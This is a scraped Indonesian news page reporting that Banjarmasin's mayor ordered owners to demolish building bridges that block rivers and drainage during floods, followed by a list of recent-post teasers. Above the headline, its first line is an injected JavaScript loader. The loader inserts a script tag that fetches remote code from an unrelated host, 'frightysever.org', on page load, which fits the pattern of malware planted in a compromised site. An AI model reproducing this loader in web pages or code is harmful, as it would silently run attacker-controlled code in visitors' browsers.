(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bongkar! Jembatan Bangunan Gedung Menutupi Sungai dan Drainase


KANALKALIMANTAN.COM, BANJARMASIN – Mengatasi banjir di Kota Banjarmasin yang merendam permukiman penduduk hingga ke ruas-ruas jalan utama, Pemerintah Kota Banjarmasin mengambil langkah membongkar bangunan yang menghalangi aliran sungai dan drainase.

Hal itu berdasarkan berdasarkan surat edaran yang ditandatangani oleh Wali Kota Banjarmasin, Ibnu Sina yang ditujukan kepada para pemilik bangunan gedung di kota Banjarmasin.

Surat edaran perintah pembongkaran itu, berdasarkan Peraturan Daerah (Perda) Nomor 14 tahun 2009 tentang bangunan panggung, Perda Nomor 15 tahun 2012 tentang izin mendirikan bangunan dan Perda Nomor 31 tahun 2012 tentang penetapan, pengaturan pemanfaatan sempadan sungai dan bekas sungai.

Pertanggal 26 Januari 2021, Wali Kota Banjarmasin Ibnu Sina memerintahkan kepada  seluruh pihak pemilik bangunan yang memiliki Jembatan Bangunan Gedung (JBG) untuk menyeberangi sungai, menuju bangunan gedung atau halaman yang menghalangi aliran sungai, agar segera membongkar secara sendiri.

 

Banjir besar menenggelamkan ruas jalan A Yani Kota Banjarmasin. Foto: putra

Wali Kota Banjarmasin Ibnu Sina memberikan waktu kepada pemilik gedung dalam waktu 2×24 jam setelah surat edaran diterbitkan. Apabila dinilai menghalangi aliran sungai dalam upaya untuk mengatasi genangan akibat banjir belum dibongkar oleh pemilik, maka akan dilakukan pembongkaran oleh Pemerintah Kota Banjarmasin.

“Dengan tujuan untuk mengembalikan aliran sungai sehingga dapat berfungsi kembali sebagai badan air untuk mengatasi permasalahan genangan akibat banjir di Kota Banjarmasin,” kata Wali Kota Banjarmasin dalam surat edaran

Prioritas untuk awal pembongkaran jembatan gedung bangunan lainnya di kota Banjarmasin yang menghalangi aliran sungai adalah jembatan bangunan sepanjang jalan Ahmad Yani, jalan Pramuka dan jalan Veteran. (kanalkalimantan.com/putra)
Reporter: putra
Editor: bie


Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

9 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

15 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

15 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.